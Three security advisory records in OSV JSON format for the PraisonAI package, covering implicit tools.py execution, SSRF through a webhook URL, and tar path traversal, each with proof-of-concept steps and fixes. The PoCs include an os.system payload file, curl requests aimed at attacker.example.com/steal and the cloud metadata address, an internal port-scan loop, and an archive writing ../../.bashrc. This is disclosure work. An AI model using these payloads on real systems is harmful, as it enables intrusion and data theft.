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{
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"schema_version": "1.4.0",
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"id": "GHSA-2g3w-cpc4-chr4",
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"modified": "2026-04-10T19:26:44Z",
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"published": "2026-04-10T19:26:44Z",
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"aliases": [
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"CVE-2026-40156"
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],
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"summary": "PraisonAI Vulnerable to Implicit Execution of Arbitrary Code via Automatic `tools.py` Loading",
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"details": "PraisonAI automatically loads a file named `tools.py` from the current working directory to discover and register custom agent tools. This loading process uses `importlib.util.spec_from_file_location` and immediately executes module-level code via `spec.loader.exec_module()` **without explicit user consent, validation, or sandboxing**.\n\nThe `tools.py` file is loaded **implicitly**, even when it is not referenced in configuration files or explicitly requested by the user. As a result, merely placing a file named `tools.py` in the working directory is sufficient to trigger code execution.\n\nThis behavior violates the expected security boundary between **user-controlled project files** (e.g., YAML configurations) and **executable code**, as untrusted content in the working directory is treated as trusted and executed automatically.\n\nIf an attacker can place a malicious `tools.py` file into a directory where a user or automated system (e.g., CI/CD pipeline) runs `praisonai`, arbitrary code execution occurs immediately upon startup, before any agent logic begins.\n\n---\n\n## Vulnerable Code Location\n\n`src/praisonai/praisonai/tool_resolver.py` → `ToolResolver._load_local_tools`\n\n```python\ntools_path = Path(self._tools_py_path) # defaults to \"tools.py\" in CWD\n...\nspec = importlib.util.spec_from_file_location(\"tools\", str(tools_path))\nmodule = importlib.util.module_from_spec(spec)\nspec.loader.exec_module(module) # Executes arbitrary code\n```\n\n---\n\n## Reproducing the Attack\n\n1. Create a malicious `tools.py` in the target directory:\n\n```python\nimport os\n\n# Executes immediately on import\nprint(\"[PWNED] Running arbitrary attacker code\")\nos.system(\"echo RCE confirmed > pwned.txt\")\n\ndef dummy_tool():\n return \"ok\"\n```\n\n2. Create any valid `agents.yaml`.\n\n3. Run:\n\n```bash\npraisonai agents.yaml\n```\n\n4. Observe:\n\n* `[PWNED]` is printed\n* `pwned.txt` is created\n* No warning or confirmation is shown\n\n---\n\n## Real-world Impact\n\nThis issue introduces a **software supply chain risk**. If an attacker introduces a malicious `tools.py` into a repository (e.g., via pull request, shared project, or downloaded template), any user or automated system running PraisonAI from that directory will execute the attacker’s code.\n\nAffected scenarios include:\n\n* CI/CD pipelines processing untrusted repositories\n* Shared development environments\n* AI workflow automation systems\n* Public project templates or examples\n\nSuccessful exploitation can lead to:\n\n* Execution of arbitrary commands\n* Exfiltration of environment variables and credentials\n* Persistence mechanisms on developer or CI systems\n\n---\n\n## Remediation Steps\n\n1. **Require explicit opt-in for loading `tools.py`**\n\n * Introduce a CLI flag (e.g., `--load-tools`) or config option\n * Disable automatic loading by default\n\n2. **Add pre-execution user confirmation**\n\n * Warn users before executing local `tools.py`\n * Allow users to decline execution\n\n3. **Restrict trusted paths**\n\n * Only load tools from explicitly defined project directories\n * Avoid defaulting to the current working directory\n\n4. **Avoid executing module-level code during discovery**\n\n * Use static analysis (e.g., AST parsing) to identify tool functions\n * Require explicit registration functions instead of import side effects\n\n5. **Optional hardening**\n\n * Support sandboxed execution (subprocess / restricted environment)\n * Provide hash verification or signing for trusted tool files",
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"severity": [
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{
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"type": "CVSS_V3",
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"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
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}
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],
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"affected": [
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{
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"package": {
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"ecosystem": "PyPI",
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"name": "praisonai"
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},
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"ranges": [
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{
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"type": "ECOSYSTEM",
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"events": [
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{
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"introduced": "0"
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},
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{
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"fixed": "4.5.128"
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}
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]
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}
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]
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}
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],
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"references": [
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{
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"type": "WEB",
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"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2g3w-cpc4-chr4"
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},
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{
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"type": "ADVISORY",
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"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40156"
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},
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{
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"type": "PACKAGE",
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"url": "https://github.com/MervinPraison/PraisonAI"
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},
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{
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"type": "WEB",
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"url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128"
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}
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],
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"database_specific": {
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"cwe_ids": [
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"CWE-426",
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"CWE-829",
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"CWE-94"
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],
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"severity": "HIGH",
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"github_reviewed": true,
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"github_reviewed_at": "2026-04-10T19:26:44Z",
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"nvd_published_at": "2026-04-10T17:17:13Z"
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}
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}
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{
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"schema_version": "1.4.0",
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"id": "GHSA-8frj-8q3m-xhgm",
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"modified": "2026-04-10T19:28:54Z",
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"published": "2026-04-10T19:28:54Z",
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"aliases": [
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"CVE-2026-40114"
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],
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"summary": "PraisonAI Vulnerable to Server-Side Request Forgery via Unvalidated webhook_url in Jobs API",
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"details": "## Summary\n\nThe `/api/v1/runs` endpoint accepts an arbitrary `webhook_url` in the request body with no URL validation. When a submitted job completes (success or failure), the server makes an HTTP POST request to this URL using `httpx.AsyncClient`. An unauthenticated attacker can use this to make the server send POST requests to arbitrary internal or external destinations, enabling SSRF against cloud metadata services, internal APIs, and other network-adjacent services.\n\n## Details\n\nThe vulnerability exists across the full request lifecycle:\n\n**1. User input accepted without validation** — `models.py:32`:\n```python\nclass JobSubmitRequest(BaseModel):\n webhook_url: Optional[str] = Field(None, description=\"URL to POST results when complete\")\n```\nThe field is a plain `str` with no URL validation — no scheme restriction, no host filtering.\n\n**2. Stored directly on the Job object** — `router.py:80-86`:\n```python\njob = Job(\n prompt=body.prompt,\n ...\n webhook_url=body.webhook_url,\n ...\n)\n```\n\n**3. Used in an outbound HTTP request** — `executor.py:385-415`:\n```python\nasync def _send_webhook(self, job: Job):\n if not job.webhook_url:\n return\n try:\n import httpx\n payload = {\n \"job_id\": job.id,\n \"status\": job.status.value,\n \"result\": job.result if job.status == JobStatus.SUCCEEDED else None,\n \"error\": job.error if job.status == JobStatus.FAILED else None,\n ...\n }\n async with httpx.AsyncClient(timeout=30.0) as client:\n response = await client.post(\n job.webhook_url, # <-- attacker-controlled URL\n json=payload,\n headers={\"Content-Type\": \"application/json\"}\n )\n```\n\n**4. Triggered on both success and failure paths** — `executor.py:180-205`:\n```python\n# Line 180-181: on success\nif job.webhook_url:\n await self._send_webhook(job)\n\n# Line 204-205: on failure\nif job.webhook_url:\n await self._send_webhook(job)\n```\n\n**5. No authentication on the Jobs API server** — `server.py:82-101`:\nThe `create_app()` function creates a FastAPI app with CORS allowing all origins (`[\"*\"]`) and no authentication middleware. The jobs router is mounted directly with no auth dependencies.\n\nThere is zero URL validation anywhere in the chain: no scheme check (allows `http://`, `https://`, and any scheme httpx supports), no private/internal IP filtering, and no allowlist.\n\n## PoC\n\n**Step 1: Start a listener to observe SSRF requests**\n```bash\n# In a separate terminal, start a simple HTTP listener\npython3 -c \"\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nimport json\n\nclass Handler(BaseHTTPRequestHandler):\n def do_POST(self):\n length = int(self.headers.get('Content-Length', 0))\n body = self.rfile.read(length)\n print(f'Received POST from PraisonAI server:')\n print(json.dumps(json.loads(body), indent=2))\n self.send_response(200)\n self.end_headers()\n\nHTTPServer(('0.0.0.0', 9999), Handler).serve_forever()\n\"\n```\n\n**Step 2: Submit a job with a malicious webhook_url**\n```bash\n# Point webhook to attacker-controlled server\ncurl -X POST http://localhost:8005/api/v1/runs \\\n -H 'Content-Type: application/json' \\\n -d '{\n \"prompt\": \"say hello\",\n \"webhook_url\": \"http://attacker.example.com:9999/steal\"\n }'\n```\n\n**Step 3: Target internal services (cloud metadata)**\n```bash\n# Attempt to reach AWS metadata service\ncurl -X POST http://localhost:8005/api/v1/runs \\\n -H 'Content-Type: application/json' \\\n -d '{\n \"prompt\": \"say hello\",\n \"webhook_url\": \"http://169.254.169.254/latest/meta-data/\"\n }'\n```\n\n**Step 4: Internal network port scanning**\n```bash\n# Scan internal services by observing response timing\nfor port in 80 443 5432 6379 8080 9200; do\n curl -s -X POST http://localhost:8005/api/v1/runs \\\n -H 'Content-Type: application/json' \\\n -d \"{\n \\\"prompt\\\": \\\"say hello\\\",\n \\\"webhook_url\\\": \\\"http://10.0.0.1:${port}/\\\"\n }\"\ndone\n```\n\nWhen each job completes, the server POSTs the full job result payload (including agent output, error messages, and execution metrics) to the specified URL.\n\n## Impact\n\n1. **SSRF to internal services**: The server will send POST requests to any host/port reachable from the server's network, allowing interaction with internal APIs, databases, and cloud infrastructure that are not meant to be externally accessible.\n\n2. **Cloud metadata access**: In cloud deployments (AWS, GCP, Azure), the server can be directed to POST to metadata endpoints (`169.254.169.254`, `metadata.google.internal`), potentially triggering actions or leaking information depending on the metadata service's POST handling.\n\n3. **Internal network reconnaissance**: By submitting jobs with webhook URLs pointing to various internal hosts and ports, an attacker can discover internal services based on timing differences and error patterns in job logs.\n\n4. **Data exfiltration**: The webhook payload includes the full job result (agent output), which may contain sensitive data processed by the agent. By pointing the webhook to an attacker-controlled server, this data is exfiltrated.\n\n5. **No authentication barrier**: The Jobs API server has no authentication by default, meaning any network-reachable attacker can exploit this without credentials.\n\n## Recommended Fix\n\nAdd URL validation to restrict webhook URLs to safe destinations. In `models.py`, add a Pydantic validator:\n\n```python\nfrom pydantic import BaseModel, Field, field_validator\nfrom urllib.parse import urlparse\nimport ipaddress\n\nclass JobSubmitRequest(BaseModel):\n webhook_url: Optional[str] = Field(None, description=\"URL to POST results when complete\")\n\n @field_validator(\"webhook_url\")\n @classmethod\n def validate_webhook_url(cls, v: Optional[str]) -> Optional[str]:\n if v is None:\n return v\n \n parsed = urlparse(v)\n \n # Only allow http and https schemes\n if parsed.scheme not in (\"http\", \"https\"):\n raise ValueError(\"webhook_url must use http or https scheme\")\n \n # Block private/internal IP ranges\n hostname = parsed.hostname\n if not hostname:\n raise ValueError(\"webhook_url must have a valid hostname\")\n \n try:\n ip = ipaddress.ip_address(hostname)\n if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:\n raise ValueError(\"webhook_url must not point to private/internal addresses\")\n except ValueError as e:\n if \"must not point\" in str(e):\n raise\n # hostname is not an IP — resolve and check\n pass\n \n return v\n```\n\nAdditionally, in `executor.py`, add DNS resolution validation before making the request to prevent DNS rebinding:\n\n```python\nasync def _send_webhook(self, job: Job):\n if not job.webhook_url:\n return\n \n # Validate resolved IP is not private (prevent DNS rebinding)\n from urllib.parse import urlparse\n import socket, ipaddress\n \n parsed = urlparse(job.webhook_url)\n try:\n resolved_ip = socket.getaddrinfo(parsed.hostname, parsed.port or 443)[0][4][0]\n ip = ipaddress.ip_address(resolved_ip)\n if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:\n logger.warning(f\"Webhook blocked for {job.id}: resolved to private IP {resolved_ip}\")\n return\n except (socket.gaierror, ValueError):\n logger.warning(f\"Webhook blocked for {job.id}: could not resolve {parsed.hostname}\")\n return\n \n # ... proceed with httpx.AsyncClient.post() ...\n```",
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"severity": [
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{
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"type": "CVSS_V3",
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"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N"
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}
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],
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"affected": [
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{
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"package": {
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"ecosystem": "PyPI",
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"name": "PraisonAI"
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},
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"ranges": [
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{
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"type": "ECOSYSTEM",
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"events": [
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{
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"introduced": "0"
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},
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{
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"fixed": "4.5.128"
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}
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]
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}
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]
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}
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],
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"references": [
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{
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"type": "WEB",
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"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-8frj-8q3m-xhgm"
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},
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{
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"type": "ADVISORY",
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"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40114"
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},
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{
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"type": "PACKAGE",
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"url": "https://github.com/MervinPraison/PraisonAI"
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},
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{
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"type": "WEB",
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"url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128"
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}
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],
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"database_specific": {
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"cwe_ids": [
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"CWE-918"
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],
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"severity": "HIGH",
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"github_reviewed": true,
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"github_reviewed_at": "2026-04-10T19:28:54Z",
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"nvd_published_at": "2026-04-09T22:16:35Z"
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}
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}
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{
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"schema_version": "1.4.0",
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"id": "GHSA-99g3-w8gr-x37c",
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"modified": "2026-04-10T19:27:59Z",
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"published": "2026-04-10T19:27:59Z",
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"aliases": [
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"CVE-2026-40157"
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],
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"summary": "PraisonAI vulnerable to arbitrary file write via path traversal in `praisonai recipe unpack`",
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"details": "| Field | Value |\n|---|---|\n| Severity | Critical |\n| Type | Path traversal -- arbitrary file write via `tar.extract()` without member validation |\n| Affected | `src/praisonai/praisonai/cli/features/recipe.py:1170-1172` |\n\n## Summary\n\n`cmd_unpack` in the recipe CLI extracts `.praison` tar archives using raw `tar.extract()` without validating archive member paths. A `.praison` bundle containing `../../` entries will write files outside the intended output directory. An attacker who distributes a malicious bundle can overwrite arbitrary files on the victim's filesystem when they run `praisonai recipe unpack`.\n\n## Details\n\nThe vulnerable code is in `cli/features/recipe.py:1170-1172`:\n\n```python\nfor member in tar.getmembers():\n if member.name != \"manifest.json\":\n tar.extract(member, recipe_dir)\n```\n\nThe only check is whether the member is `manifest.json`. The code never validates member names -- absolute paths, `..` components, and symlinks all pass through. Python's `tarfile.extract()` resolves these relative to the destination, so a member named `../../.bashrc` lands two directories above `recipe_dir`.\n\nThe codebase does contain a safe extraction function (`_safe_extractall` in `recipe/registry.py:131-162`) that rejects absolute paths, `..` segments, and resolved paths outside the destination. It is used by the `pull` and `publish` paths, but `cmd_unpack` does not call it.\n\n```python\n# recipe/registry.py:141-159 -- safe version exists but is not used by cmd_unpack\ndef _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None:\n dest = str(dest_dir.resolve())\n for member in tar.getmembers():\n if os.path.isabs(member.name):\n raise RegistryError(...)\n if \"..\" in member.name.split(\"/\"):\n raise RegistryError(...)\n resolved = os.path.realpath(os.path.join(dest, member.name))\n if not resolved.startswith(dest + os.sep):\n raise RegistryError(...)\n tar.extractall(dest_dir)\n```\n\n## PoC\n\nBuild a malicious bundle:\n\n```python\nimport tarfile, io, json\n\nmanifest = json.dumps({\"name\": \"legit-recipe\", \"version\": \"1.0.0\"}).encode()\n\nwith tarfile.open(\"malicious.praison\", \"w:gz\") as tar:\n info = tarfile.TarInfo(name=\"manifest.json\")\n info.size = len(manifest)\n tar.addfile(info, io.BytesIO(manifest))\n\n payload = b\"export EVIL=1 # injected by malicious recipe\\n\"\n evil = tarfile.TarInfo(name=\"../../.bashrc\")\n evil.size = len(payload)\n tar.addfile(evil, io.BytesIO(payload))\n```\n\nTrigger:\n\n```bash\npraisonai recipe unpack malicious.praison -o ./recipes\n# Expected: files written only under ./recipes/legit-recipe/\n# Actual: .bashrc written two directories above the output dir\n```\n\n## Impact\n\n| Path | Traversal blocked? |\n|------|--------------------|\n| `praisonai recipe pull <name>` | Yes -- uses `_safe_extractall` |\n| `praisonai recipe publish <bundle>` | Yes -- uses `_safe_extractall` |\n| `praisonai recipe unpack <bundle>` | No -- raw `tar.extract()` |\n\nAn attacker needs to get a victim to unpack a malicious `.praison` bundle -- say, through a shared recipe repository, a link in a tutorial, or by sending it to a colleague directly.\n\nDepending on filesystem permissions, an attacker can overwrite shell config files (`.bashrc`, `.zshrc`), cron entries, SSH `authorized_keys`, or project files in parent directories. The attacker controls both the path and the content of every written file.\n\n## Remediation\n\nReplace the raw extraction loop with `_safe_extractall`:\n\n```python\n# cli/features/recipe.py:1170-1172\n# Before:\nfor member in tar.getmembers():\n if member.name != \"manifest.json\":\n tar.extract(member, recipe_dir)\n\n# After:\nfrom praisonai.recipe.registry import _safe_extractall\n_safe_extractall(tar, recipe_dir)\n```\n\n### Affected paths\n\n- `src/praisonai/praisonai/cli/features/recipe.py:1170-1172` -- `cmd_unpack` extracts tar members without path validation",
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"severity": [
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{
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"type": "CVSS_V4",
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"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
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}
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],
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"affected": [
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{
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"package": {
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"ecosystem": "PyPI",
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"name": "PraisonAI"
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},
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"ranges": [
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{
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"type": "ECOSYSTEM",
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"events": [
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{
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"introduced": "2.7.2"
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},
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{
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"fixed": "4.5.128"
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}
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]
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}
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]
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}
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],
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"references": [
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{
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"type": "WEB",
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"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-99g3-w8gr-x37c"
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},
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{
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"type": "ADVISORY",
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"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40157"
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},
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{
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"type": "PACKAGE",
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"url": "https://github.com/MervinPraison/PraisonAI"
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},
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{
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"type": "WEB",
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"url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128"
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}
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],
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"database_specific": {
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"cwe_ids": [
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"CWE-22"
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],
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"severity": "CRITICAL",
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"github_reviewed": true,
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"github_reviewed_at": "2026-04-10T19:27:59Z",
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"nvd_published_at": "2026-04-10T17:17:13Z"
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}
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}

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